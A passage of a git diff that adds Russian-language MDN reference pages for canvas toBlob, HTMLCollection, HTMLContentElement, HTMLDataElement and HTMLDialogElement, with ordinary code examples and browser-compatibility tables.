+<pre class="syntaxbox">void <var>canvas</var>.toBlob(<var>callback</var>, <var>mimeType</var>, <var>qualityArgument</var>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>callback</dt>
+ <dd>Callback-функция с результирующим объектом {{domxref("Blob")}} в качестве единственного аргумента.</dd>
+ <dt><code>mimeType</code> {{optional_inline}}</dt>
+ <dd>Аргумент типа {{domxref("DOMString")}} определяющий формат изображения. По умолчанию <code>image/png</code>.</dd>
+ <dt><code>qualityArgument</code> {{optional_inline}}</dt>
+ <dd>Аргумент типа {{jsxref("Number")}} со значением от <code>0</code> до <code>1</code>, определяющий качество изображения, если заявлен MIME-тип <code>image/jpeg</code> или <code>image/webp</code>. Если этот аргумент содержит нечто иное, для определения качества изображения будет использовано значение по умолчанию. Остальные аргументы проигнорируются.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Не возвращает ничего.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Получение_файла_представленного_в_canvas">Получение файла, представленного в canvas</h3>
+
+<p>Как только вы нарисовали содержимое в <code>canvas</code>, вы можете сконвертировать его в файл изображения любого поддерживаемого формата. Ниже приведён фрагмент кода, для примера, принимает изображение в элементе {{HTMLElement("canvas")}} с ID = "canvas" и получает его копию в виде PNG изображения, затем добавляет в документ новый элемент {{HTMLElement("img")}}, исходное изображение которого создано с помощью холста.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+
+canvas.toBlob(function(blob) {
+  var newImg = document.createElement('img'),
+      url = URL.createObjectURL(blob);
+
+  newImg.onload = function() {
+    // больше не нужно читать blob, поэтому он отменен
+    URL.revokeObjectURL(url);
+  };
+
+  newImg.src = url;
+  document.body.appendChild(newImg);
+});
+</pre>
+
+<p>Обратите внимание, что здесь мы создаём изображение PNG; если вы добавите второй параметр в вызов <code>toBlob()</code>, вы сможете определить тип необходимого изображения. Например, чтобы получить изображение в формате JPEG:</p>
+
+<pre class="brush: js"> canvas.toBlob(function(blob){...}, 'image/jpeg', 0.95); // JPEG в 95% качестве</pre>
+
+<div>
+<h3 id="A_way_to_convert_a_canvas_to_an_ico_Mozilla_only">A way to convert a canvas to an ico (Mozilla only)</h3>
+
+<p>Это использует <code>-moz-parse</code> для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создается путем установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var a = document.createElement('a');
+    a.textContent = 'Download';
+    document.body.appendChild(a);
+    a.style.display = 'block';
+    a.download = iconName + '.ico';
+    a.href = window.URL.createObjectURL(b);
+  }
+}
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+</div>
+
+<h3 id="Сохранение_toBlob_на_диске_ОСchromeadd-on_context_only">Сохранение toBlob на диске ОС(chrome/add-on context only)</h3>
+
+<div class="note">
+<p>Этот метод сохраняет его на рабочем столе и полезен только в контексте Firefox chrome или дополнительном коде, поскольку API ОС не присутствуют на веб-сайтах.</p>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var r = new FileReader();
+    r.onloadend = function () {
+    // r.result contains the ArrayBuffer.
+    Cu.import('resource://gre/modules/osfile.jsm');
+    var writePath = OS.Path.join(OS.Constants.Path.desktopDir,
+                                 iconName + '.ico');
+    var promise = OS.File.writeAtomic(writePath, new Uint8Array(r.result),
+                                      {tmpPath:writePath + '.tmp'});
+    promise.then(
+      function() {
+        console.log('successfully wrote file');
+      },
+      function() {
+        console.log('failure writing file')
+      }
+    );
+  };
+  r.readAsArrayBuffer(b);
+  }
+}
+
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoDesktop('19')}}</td>
+   <td>{{CompatIE(10)}}{{property_prefix("ms")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Image quality parameter</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoDesktop('25')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("50")}}</td>
+  </tr>
+  <tr>
+   <td>Image quality parameter</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("50")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{WebKitBug("71270")}}.</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Полифилл, основанный на toDataURL, со слабой производительностью.</p>
+
+<pre>if (!HTMLCanvasElement.prototype.toBlob) {
+  Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', {
+    value: function (callback, type, quality) {
+      var dataURL = this.toDataURL(type, quality).split(',')[1];
+      setTimeout(function() {
+
+        var binStr = atob( dataURL ),
+            len = binStr.length,
+            arr = new Uint8Array(len);
+
+        for (var i = 0; i &lt; len; i++ ) {
+          arr[i] = binStr.charCodeAt(i);
+        }
+
+        callback( new Blob( [arr], {type: type || 'image/png'} ) );
+
+      });
+    }
+  });
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcollection/index.html b/files/ru/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..ef674de414
--- /dev/null
+++ b/files/ru/web/api/htmlcollection/index.html
@@ -0,0 +1,68 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+translation_of: Web/API/HTMLCollection
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>Интерфейс <strong><code>HTMLCollection</code></strong> является обобщённой коллекцией (объектом, ведущим себя подобно массиву) элементов (в порядке упоминания в документе) и предоставляет методы и свойства для получения хранящихся в нём элементов.</p>
+
+<div class="note"><strong>Замечание:</strong> Интерфейс назван <code>HTMLCollection</code> по историческим причинам. До стандарта DOM4 коллекции, реализующие данный интерфейс, использовались только для хранения HTML элементов.</div>
+
+<p><code>HTMLCollection</code>, хранящая элементы DOM, является динамической. При изменении документа она моментально отражает все произведённые изменения.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает количество элементов в коллекции.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>Возвращает узел с порядковым номером <code>index</code>; отсчёт ведётся от нуля. Возвращает <code>null</code>, если <code>index </code>выходит за границы допустимого диапазона.</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>Возвращает узел, идентификатор или имя (в целях совместимости) которого совпадает со строкой, переданной в аргументе <code>name</code>. Соответствие имени проверяется в самую последнюю очередь, только для HTML элементов и только для тех из них, которые поддерживают свойство <code>name</code>. Возвращает <code>null</code> , если искомый элемент отсутствует.</dd>
+</dl>
+
+<h2 id="Использование_в_JavaScript">Использование в JavaScript</h2>
+
+<p><code>HTMLCollection</code> предоставляет своё содержимое как собственные свойства, доступные как по имени, так и по индексу (как в массиве). Это связано с тем, что идентификаторы HTML элементов, содержащие точки и двоеточие (допустимо в HTML5), адресуемы исключительно через синтаксис доступа к массиву. Однако, при числовых идентификаторах невозможно определить, производится ли запрос по индексу или по идентификатору, неявно приведённому к числу.</p>
+
+<p>Пусть в документе присутствует элемент <code>&lt;form&gt; </code>с <code>id,</code> равным «<code>myForm</code>»<code>:</code></p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms имеет тип HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // выводит "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // выводит "true"
+
+elem1 = document.forms["named.item.with.periods"];</pre>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Браузеры по разному ведут себя при наличии нескольких элементов с одинаковыми индексами, либо значениями свойств <code>namedItem</code>. Firefox 8 действует в соответствии с DOM2 и DOM4, возвращая первое совпадение. Internet Explorer и браузеры на основе WebKit возвращают новый экземпляр <code>HTMLCollection</code>. Opera возвращает {{domxref("NodeList")}} со всеми найденными элементами.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75708506">DOM Level 2 HTML, Section 1.4, Miscellaneous Object Definitions</a></li>
+ <li><a href="http://www.w3.org/TR/domcore/#interface-htmlcollection" title="http://www.w3.org/TR/domcore/#interface-htmlcollection">DOM4: HTMLCollection</a></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcollection/item/index.html b/files/ru/web/api/htmlcollection/item/index.html
new file mode 100644
index 0000000000..01d6dd29f5
--- /dev/null
+++ b/files/ru/web/api/htmlcollection/item/index.html
@@ -0,0 +1,41 @@
+---
+title: HTMLCollection.item
+slug: Web/API/HTMLCollection/item
+tags:
+  - API
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/HTMLCollection/item
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><code>HTMLCollection.item() получает элемент с заданым индексом</code>.</p>
+
+<h3 id="Аргументы">Аргументы</h3>
+
+<dl>
+ <dt>index</dt>
+ <dd>Позиция возвращаемого документа. В объекте HTMLCollection элементы находятся в том же порядке, в каком они расположены в документе. </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Элемент соответствующий конкретной, заданной позиции или null, если index меньше нуля или больше, чем index последнего элемента.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод item() возвращает номерной элемент из HTMLCollection. В JavaScript легче работать с HTMLCollection, как с массивом, используя квадратные скобки.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var c = document.images;  // Это HTMLCollection
+var img0 = c.item(0);     // Вы можете использовать метод item( ) для доступа к элементу
+var img1 = c[1];          // Однако, использование квадратных скобок намного проще и более распространено
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("NodeList.item()")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlcontentelement/index.html b/files/ru/web/api/htmlcontentelement/index.html
new file mode 100644
index 0000000000..f3c59d4f27
--- /dev/null
+++ b/files/ru/web/api/htmlcontentelement/index.html
@@ -0,0 +1,49 @@
+---
+title: HTMLContentElement
+slug: Web/API/HTMLContentElement
+translation_of: Web/API/HTMLContentElement
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>{{Deprecated_header}}</p>
+
+<p>The <code><strong>HTMLContentElement</strong></code> interface represents a {{HTMLElement("content")}} HTML Element, which is used in <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a>. </p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.select")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("select", "content") }} HTML attribute. The value is a comma-separated list of CSS selectors that select the content to insert in place of the <code>&lt;content&gt;</code> element.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.getDistributedNodes()")}}</dt>
+ <dd>Returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <code>&lt;content&gt;</code> element. </dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>This feature is no longer defined by any standards.</p>
+
+<h2 id="Поддержка_бразуерами">Поддержка бразуерами</h2>
+
+
+
+<p>{{Compat("api.HTMLContentElement")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>The {{HTMLElement("content")}} HTML element, implementing this interface.</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a></li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/ru/web/api/htmldataelement/index.html b/files/ru/web/api/htmldataelement/index.html
new file mode 100644
index 0000000000..6dc1267d29
--- /dev/null
+++ b/files/ru/web/api/htmldataelement/index.html
@@ -0,0 +1,111 @@
+---
+title: HTMLDataElement
+slug: Web/API/HTMLDataElement
+translation_of: Web/API/HTMLDataElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>Интерфейс <strong><code>HTMLDataElement</code></strong> предоставляет специальные свойства (после чего постоянный  {{domxref("HTMLElement")}} интерфейстакже доступен еме по наследству) для манипуляции {{HTMLElement("data")}} элементами.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>отображает {{ htmlattrxref("value", "data") }} HTML атрибут, содержащий машиночитаемый вид значения элемента.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-data-element", "HTMLDataElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилось с {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-data-element', 'HTMLDataElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(22)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(22)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{HTMLElement("data")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldialogelement/index.html b/files/ru/web/api/htmldialogelement/index.html
new file mode 100644
index 0000000000..81cb52cb72
--- /dev/null
+++ b/files/ru/web/api/htmldialogelement/index.html
@@ -0,0 +1,136 @@
+---
+title: HTMLDialogElement
+slug: Web/API/HTMLDialogElement
+tags:
+  - API
+  - Dialog
+  - HTMLDialogElement
+  - Interface
+translation_of: Web/API/HTMLDialogElement
+---
+<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>HTMLDialogElement</code></strong> - интерфейс взаимодействия, предоставляющий методы для управления {{HTMLElement("dialog")}} элементами. Он наследует свойства и методы от {{domxref("HTMLElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 80)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement.open")}}</dt>
+ <dd>{{domxref("Boolean")}} отражает HTML атрибут элемента {{htmlattrxref("open", "dialog")}}, указывающий на то, доступно ли диалоговое окно для воздействия.</dd>
+ <dt>{{domxref("HTMLDialogElement.returnValue")}}</dt>
+ <dd>{{domxref("DOMString")}} устанавливает или возвращает передаваемое диалоговому окну значение.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLDialogElement.close()")}}</dt>
+ <dd>Закрывает диалоговое окно. Опциональный {{domxref("DOMString")}} может быть передан как аргумент, обновляющий <code>returnValue</code> диалогового окна.</dd>
+ <dt>{{domxref("HTMLDialogElement.show()")}}</dt>
+ <dd>Показывает диалоговое окно modelessly, т.е. остается возможность взаимодействовать с контеном вне диалогового окна.</dd>
+ <dt>{{domxref("HTMLDialogElement.showModal()")}}</dt>
+ <dd>Показывает диалог как модальное окно поверх любых других диалоговых окон, которые также могут существовать в данный момент. Взаимодействие с контентом вне диалогового окна заблокировано.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Примеры ниже показывают простую кнопку, которая при нажатии открывает {{htmlelement("dialog")}}, содержащий элемент {{htmlelement("form")}}, используя  метод {{domxref("HTMLDialogElement.showModal()")}}. Вы можете нажать кнопку <em>Отмены, </em>чтобы закрыть диалоговое окно (используя функцию {{domxref("HTMLDialogElement.close()")}}), или принять форму, использую кнопку <em>Принятия</em>.</p>
+
+<pre class="brush: html">  &lt;!-- Simple pop-up dialog box, containing a form --&gt;
+  &lt;dialog id="favDialog"&gt;
+    &lt;form method="dialog"&gt;
+      &lt;section&gt;
+        &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+        &lt;select id="favAnimal" name="favAnimal"&gt;
+          &lt;option&gt;&lt;/option&gt;
+          &lt;option&gt;Brine shrimp&lt;/option&gt;
+          &lt;option&gt;Red panda&lt;/option&gt;
+          &lt;option&gt;Spider monkey&lt;/option&gt;
+        &lt;/select&gt;&lt;/p&gt;
+      &lt;/section&gt;
+      &lt;menu&gt;
+        &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+        &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+      &lt;/menu&gt;
+    &lt;/form&gt;
+  &lt;/dialog&gt;
+
+  &lt;menu&gt;
+    &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+  &lt;/menu&gt;
+
+  &lt;script&gt;
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Update button opens a modal dialog
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Form cancel button closes the dialog box
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  &lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find this example on GitHub as <a href="https://github.com/mdn/dom-examples/blob/master/htmldialogelement-basic/index.html">htmldialogelement-basic</a> (<a href="https://mdn.github.io/dom-examples/htmldialogelement-basic/">see it live also</a>).</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmldialogelement', 'HTMLDialogElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLDialogElement")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>HTML элемент, реализующий этот интерфейс взаимодействия: {{ HTMLElement("dialog") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldialogelement/open/index.html b/files/ru/web/api/htmldialogelement/open/index.html
new file mode 100644
index 0000000000..a6208c8ac9
--- /dev/null
+++ b/files/ru/web/api/htmldialogelement/open/index.html
@@ -0,0 +1,126 @@
+---
+title: HTMLDialogElement.open
+slug: Web/API/HTMLDialogElement/open
+tags:
+  - API
+  - Dialog
+  - HTML DOM
+  - HTMLDialogElement
+  - open
+translation_of: Web/API/HTMLDialogElement/open
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p><strong><code>open</code></strong> - свойство интерфейса взаимодействия {{domxref("HTMLDialogElement")}}, является {{domxref("Boolean")}} значением и отражает HTML атрибут {{htmlattrxref("open", "dialog")}} этого элемента, указывающий, доступен ли {{htmlelement("dialog")}} для взаимодействия.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">dialogInstance.open = true;
+var myOpenValue = dialogInstance.open;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("Boolean")}} значение отражает состояние HTML атрибута {{htmlattrxref("open", "dialog")}}. <code>true</code> значит, что значение установлено и диалоговое окно показывается в настоящий момент. <code>false</code> указывает, что значение не установлено и далоговое окно не показывается.</p>
+
+<p>Свойство доступно только для чтения — значение можно установить программно методы show и hide элемента {{htmlelement("dialog")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Примеры ниже показывают простую кнопку, которая по нажатию открывает {{htmlelement("dialog")}}, содержащий {{htmlelement("form")}}, используя <code>showModal()</code> метод. Вы можете нажать кнопку <em>Отмена</em> для закрытия (используя {{domxref("HTMLDialogElement.close()")}} метод) или принять {{htmlelement("form")}}, нажав на кнопку <em>Принять</em>.</p>
+
+<pre class="brush: html">  &lt;!-- Simple pop-up dialog box, containing a form --&gt;
+  &lt;dialog id="favDialog"&gt;
+    &lt;form method="dialog"&gt;
+      &lt;section&gt;
+        &lt;p&gt;&lt;label for="favAnimal"&gt;Favorite animal:&lt;/label&gt;
+        &lt;select id="favAnimal" name="favAnimal"&gt;
+          &lt;option&gt;&lt;/option&gt;
+          &lt;option&gt;Brine shrimp&lt;/option&gt;
+          &lt;option&gt;Red panda&lt;/option&gt;
+          &lt;option&gt;Spider monkey&lt;/option&gt;
+        &lt;/select&gt;&lt;/p&gt;
+      &lt;/section&gt;
+      &lt;menu&gt;
+        &lt;button id="cancel" type="reset"&gt;Cancel&lt;/button&gt;
+        &lt;button type="submit"&gt;Confirm&lt;/button&gt;
+      &lt;/menu&gt;
+    &lt;/form&gt;
+  &lt;/dialog&gt;
+
+  &lt;menu&gt;
+    &lt;button id="updateDetails"&gt;Update details&lt;/button&gt;
+  &lt;/menu&gt;
+
+  &lt;script&gt;
+    (function() {
+      var updateButton = document.getElementById('updateDetails');
+      var cancelButton = document.getElementById('cancel');
+      var dialog = document.getElementById('favDialog');
+      dialog.returnValue = 'favAnimal';
+
+      function openCheck(dialog) {
+        if(dialog.open) {
+          console.log('Dialog open');
+        } else {
+          console.log('Dialog closed');
+        }
+      }
+
+      // Кнопка обновления открывает диалоговое окно
+      updateButton.addEventListener('click', function() {
+        dialog.showModal();
+        openCheck(dialog);
+      });
+
+      // Кнопка отмены закрывает диалоговое окно
+      cancelButton.addEventListener('click', function() {
+        dialog.close('animalNotChosen');
+        openCheck(dialog);
+      });
+
+    })();
+  &lt;/script&gt;</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найти данный пример на <a href="https://github.com/mdn/dom-examples/blob/master/htmldialogelement-basic/index.html">htmldialogelement-basic</a> (<a href="https://mdn.github.io/dom-examples/htmldialogelement-basic/">see it live also</a>).</p>
+</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#dom-dialog-open', 'open')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#dom-htmldialogelement-open', 'open')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.HTMLDialogElement.open")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>HTML элемент, использующий данный интерфейс взаимодействия: {{ HTMLElement("dialog") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmldivelement/index.html b/files/ru/web/api/htmldivelement/index.html
new file mode 100644
index 0000000000..d309e5c1ae
--- /dev/null
+++ b/files/ru/web/api/htmldivelement/index.html
@@ -0,0 +1,115 @@
